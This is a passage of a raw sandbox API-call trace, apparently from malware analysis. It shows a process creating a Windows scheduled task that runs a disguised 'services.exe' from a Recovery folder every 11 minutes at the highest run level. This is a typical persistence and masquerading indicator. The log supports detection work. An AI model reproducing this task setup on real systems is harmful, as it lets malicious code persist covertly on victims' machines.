lpSrch="|f|") returned 0x0 [0150.482] SetLastError (dwErrCode=0x490) [0150.482] lstrlenW (lpString="tr") returned 2 [0150.483] lstrlenW (lpString="tr") returned 2 [0150.483] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.483] lstrlenW (lpString="f") returned 1 [0150.483] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.483] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.483] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.483] lstrlenW (lpString="|tr|") returned 4 [0150.483] lstrlenW (lpString="|f|") returned 3 [0150.483] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0150.483] SetLastError (dwErrCode=0x490) [0150.483] lstrlenW (lpString="st") returned 2 [0150.483] lstrlenW (lpString="st") returned 2 [0150.483] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.483] lstrlenW (lpString="f") returned 1 [0150.483] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.483] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|st|") returned 4 [0150.483] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.483] lstrlenW (lpString="|st|") returned 4 [0150.483] lstrlenW (lpString="|f|") returned 3 [0150.483] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0150.483] SetLastError (dwErrCode=0x490) [0150.483] lstrlenW (lpString="sd") returned 2 [0150.483] lstrlenW (lpString="sd") returned 2 [0150.483] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.483] lstrlenW (lpString="f") returned 1 [0150.484] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.484] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sd|") returned 4 [0150.484] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.484] lstrlenW (lpString="|sd|") returned 4 [0150.484] lstrlenW (lpString="|f|") returned 3 [0150.484] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0150.484] SetLastError (dwErrCode=0x490) [0150.484] lstrlenW (lpString="ed") returned 2 [0150.484] lstrlenW (lpString="ed") returned 2 [0150.484] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.484] lstrlenW (lpString="f") returned 1 [0150.484] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.484] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ed|") returned 4 [0150.484] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.484] lstrlenW (lpString="|ed|") returned 4 [0150.484] lstrlenW (lpString="|f|") returned 3 [0150.484] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0150.484] SetLastError (dwErrCode=0x490) [0150.484] lstrlenW (lpString="it") returned 2 [0150.484] lstrlenW (lpString="it") returned 2 [0150.484] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.485] lstrlenW (lpString="f") returned 1 [0150.485] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.485] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|it|") returned 4 [0150.485] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.485] lstrlenW (lpString="|it|") returned 4 [0150.485] lstrlenW (lpString="|f|") returned 3 [0150.485] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0150.485] SetLastError (dwErrCode=0x490) [0150.485] lstrlenW (lpString="et") returned 2 [0150.485] lstrlenW (lpString="et") returned 2 [0150.485] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.485] lstrlenW (lpString="f") returned 1 [0150.485] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.485] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|et|") returned 4 [0150.485] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.485] lstrlenW (lpString="|et|") returned 4 [0150.485] lstrlenW (lpString="|f|") returned 3 [0150.485] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0150.489] SetLastError (dwErrCode=0x490) [0150.489] lstrlenW (lpString="k") returned 1 [0150.489] lstrlenW (lpString="k") returned 1 [0150.489] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.489] lstrlenW (lpString="f") returned 1 [0150.490] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.490] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|k|") returned 3 [0150.490] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.490] lstrlenW (lpString="|k|") returned 3 [0150.490] lstrlenW (lpString="|f|") returned 3 [0150.490] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0150.490] SetLastError (dwErrCode=0x490) [0150.490] lstrlenW (lpString="du") returned 2 [0150.490] lstrlenW (lpString="du") returned 2 [0150.490] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.490] lstrlenW (lpString="f") returned 1 [0150.490] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.490] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|du|") returned 4 [0150.490] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.490] lstrlenW (lpString="|du|") returned 4 [0150.490] lstrlenW (lpString="|f|") returned 3 [0150.490] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0150.490] SetLastError (dwErrCode=0x490) [0150.490] lstrlenW (lpString="ri") returned 2 [0150.490] lstrlenW (lpString="ri") returned 2 [0150.490] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.491] lstrlenW (lpString="f") returned 1 [0150.491] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.491] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ri|") returned 4 [0150.491] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.491] lstrlenW (lpString="|ri|") returned 4 [0150.491] lstrlenW (lpString="|f|") returned 3 [0150.491] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0150.491] SetLastError (dwErrCode=0x490) [0150.491] lstrlenW (lpString="z") returned 1 [0150.491] lstrlenW (lpString="z") returned 1 [0150.491] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.491] lstrlenW (lpString="f") returned 1 [0150.491] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.491] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|z|") returned 3 [0150.491] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.491] lstrlenW (lpString="|z|") returned 3 [0150.491] lstrlenW (lpString="|f|") returned 3 [0150.491] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0150.491] SetLastError (dwErrCode=0x490) [0150.491] lstrlenW (lpString="f") returned 1 [0150.491] lstrlenW (lpString="f") returned 1 [0150.491] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.492] lstrlenW (lpString="f") returned 1 [0150.492] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.492] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.492] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.492] lstrlenW (lpString="|f|") returned 3 [0150.492] lstrlenW (lpString="|f|") returned 3 [0150.492] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0150.492] SetLastError (dwErrCode=0x0) [0150.492] SetLastError (dwErrCode=0x0) [0150.492] GetProcessHeap () returned 0x3b0000 [0150.492] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccda0 [0150.492] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.492] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0150.492] lstrlenW (lpString="LIMITED") returned 7 [0150.493] GetProcessHeap () returned 0x3b0000 [0150.493] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd590 [0150.493] GetThreadLocale () returned 0x409 [0150.493] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0150.493] GetProcessHeap () returned 0x3b0000 [0150.493] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd70 [0150.493] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.493] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0150.493] lstrlenW (lpString="HIGHEST") returned 7 [0150.493] GetProcessHeap () returned 0x3b0000 [0150.493] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd5b0 [0150.493] GetThreadLocale () returned 0x409 [0150.493] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0150.494] GetProcessHeap () returned 0x3b0000 [0150.494] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd40 [0150.494] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.494] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0150.494] lstrlenW (lpString="MINUTE") returned 6 [0150.494] GetProcessHeap () returned 0x3b0000 [0150.494] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd5d0 [0150.494] GetThreadLocale () returned 0x409 [0150.494] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0150.494] SetLastError (dwErrCode=0x0) [0150.494] GetProcessHeap () returned 0x3b0000 [0150.494] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x1fc) returned 0x3cc3a0 [0150.494] GetProcessHeap () returned 0x3b0000 [0150.494] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd10 [0150.495] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.495] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0150.495] lstrlenW (lpString="First") returned 5 [0150.495] GetProcessHeap () returned 0x3b0000 [0150.495] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xc) returned 0x3cd5f0 [0150.495] GetProcessHeap () returned 0x3b0000 [0150.495] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccce0 [0150.495] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.495] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0150.495] lstrlenW (lpString="Second") returned 6 [0150.495] GetProcessHeap () returned 0x3b0000 [0150.495] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd610 [0150.495] GetProcessHeap () returned 0x3b0000 [0150.495] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccb0 [0150.495] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.495] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0150.495] lstrlenW (lpString="Third") returned 5 [0150.496] GetProcessHeap () returned 0x3b0000 [0150.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xc) returned 0x3cd630 [0150.496] GetProcessHeap () returned 0x3b0000 [0150.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc80 [0150.496] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.496] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0150.496] lstrlenW (lpString="Fourth") returned 6 [0150.496] GetProcessHeap () returned 0x3b0000 [0150.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd650 [0150.496] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.496] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0150.496] lstrlenW (lpString="Last") returned 4 [0150.496] GetProcessHeap () returned 0x3b0000 [0150.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cd670 [0150.496] lstrlenW (lpString="11") returned 2 [0150.496] _wtol (_String="11") returned 11 [0150.496] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.497] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0150.497] lstrlenW (lpString="First") returned 5 [0150.497] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.497] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0150.497] lstrlenW (lpString="Second") returned 6 [0150.497] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.497] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0150.497] lstrlenW (lpString="Third") returned 5 [0150.497] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.497] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0150.497] lstrlenW (lpString="Fourth") returned 6 [0150.497] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.497] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0150.497] lstrlenW (lpString="Last") returned 4 [0150.500] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c2a0, cchData=128 | out: lpLCData="0") returned 2 [0150.500] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.500] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0150.500] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0150.500] GetProcessHeap () returned 0x3b0000 [0150.500] GetProcessHeap () returned 0x3b0000 [0150.500] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0) returned 1 [0150.500] GetProcessHeap () returned 0x3b0000 [0150.501] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5f0) returned 0xc [0150.501] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0 | out: hHeap=0x3b0000) returned 1 [0150.501] GetProcessHeap () returned 0x3b0000 [0150.501] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd5f0 [0150.501] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c2c0, cchData=128 | out: lpLCData="0") returned 2 [0150.501] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.501] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0150.501] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0150.501] GetProcessHeap () returned 0x3b0000 [0150.501] GetProcessHeap () returned 0x3b0000 [0150.501] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610) returned 1 [0150.501] GetProcessHeap () returned 0x3b0000 [0150.501] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd610) returned 0xe [0150.501] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610 | out: hHeap=0x3b0000) returned 1 [0150.501] GetProcessHeap () returned 0x3b0000 [0150.501] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd610 [0150.501] GetLocalTime (in: lpSystemTime=0x29c4f0 | out: lpSystemTime=0x29c4f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x3b5)) [0150.501] lstrlenW (lpString="") returned 0 [0150.502] GetLocalTime (in: lpSystemTime=0x29cda8 | out: lpSystemTime=0x29cda8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x3b5)) [0150.502] lstrlenW (lpString="") returned 0 [0150.502] lstrlenW (lpString="") returned 0 [0150.502] lstrlenW (lpString="") returned 0 [0150.502] lstrlenW (lpString="") returned 0 [0150.502] lstrlenW (lpString="11") returned 2 [0150.502] _wtol (_String="11") returned 11 [0150.502] lstrlenW (lpString="") returned 0 [0150.502] lstrlenW (lpString="") returned 0 [0150.502] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0150.849] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0151.042] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29cb70 | out: ppv=0x29cb70*=0x147b20) returned 0x0 [0151.053] TaskScheduler:ITaskService:Connect (This=0x147b20, serverName=0x29cc50*(varType=0x8, wReserved1=0x29, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x29cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x29cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0151.118] TaskScheduler:IUnknown:AddRef (This=0x147b20) returned 0x2 [0151.118] TaskScheduler:ITaskService:GetFolder (in: This=0x147b20, Path=0x0, ppFolder=0x29cd08 | out: ppFolder=0x29cd08*=0x147d50) returned 0x0 [0151.122] TaskScheduler:ITaskService:NewTask (in: This=0x147b20, flags=0x0, ppDefinition=0x29cd00 | out: ppDefinition=0x29cd00*=0x147da0) returned 0x0 [0151.123] ITaskDefinition:get_Actions (in: This=0x147da0, ppActions=0x29cc80 | out: ppActions=0x29cc80*=0x147e60) returned 0x0 [0151.123] IActionCollection:Create (in: This=0x147e60, Type=0, ppAction=0x29cca0 | out: ppAction=0x29cca0*=0x1466a0) returned 0x0 [0151.123] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0151.123] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0151.123] lstrlenW (lpString=" ") returned 1 [0151.123] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0151.123] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0151.124] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0151.125] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0151.126] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.126] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0151.126] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0151.126] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0151.126] IUnknown:Release (This=0x1466a0) returned 0x1 [0151.126] IUnknown:Release (This=0x147e60) returned 0x1 [0151.126] ITaskDefinition:get_Triggers (in: This=0x147da0, ppTriggers=0x29c800 | out: ppTriggers=0x29c800*=0x146410) returned 0x0 [0151.126] ITriggerCollection:Create (in: This=0x146410, Type=1, ppTrigger=0x29c7f8 | out: ppTrigger=0x29c7f8*=0x146710) returned 0x0 [0151.127] lstrlenW (lpString="11") returned 2 [0151.127] _vsnwprintf (in: _Buffer=0x29c780, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x29c778 | out: _Buffer="PT11M") returned 5 [0151.127] ITrigger:get_Repetition (in: This=0x146710, ppRepeat=0x29c7f0 | out: ppRepeat=0x29c7f0*=0x1467a0) returned 0x0 [0151.127] IRepetitionPattern:put_Interval (This=0x1467a0, Interval="PT11M") returned 0x0 [0151.127] IUnknown:Release (This=0x1467a0) returned 0x1 [0151.127] _vsnwprintf (in: _Buffer=0x29c740, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x29c718 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0151.127] ITrigger:put_StartBoundary (This=0x146710, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0151.127] lstrlenW (lpString="") returned 0 [0151.127] lstrlenW (lpString="") returned 0 [0151.127] lstrlenW (lpString="") returned 0 [0151.127] lstrlenW (lpString="") returned 0 [0151.127] IUnknown:Release (This=0x146710) returned 0x1 [0151.127] IUnknown:Release (This=0x146410) returned 0x1 [0151.128] ITaskDefinition:get_Settings (in: This=0x147da0, ppSettings=0x29cca0 | out: ppSettings=0x29cca0*=0x146480) returned 0x0 [0151.128] lstrlenW (lpString="") returned 0 [0151.128] IUnknown:Release (This=0x146480) returned 0x1 [0151.128] GetLocalTime (in: 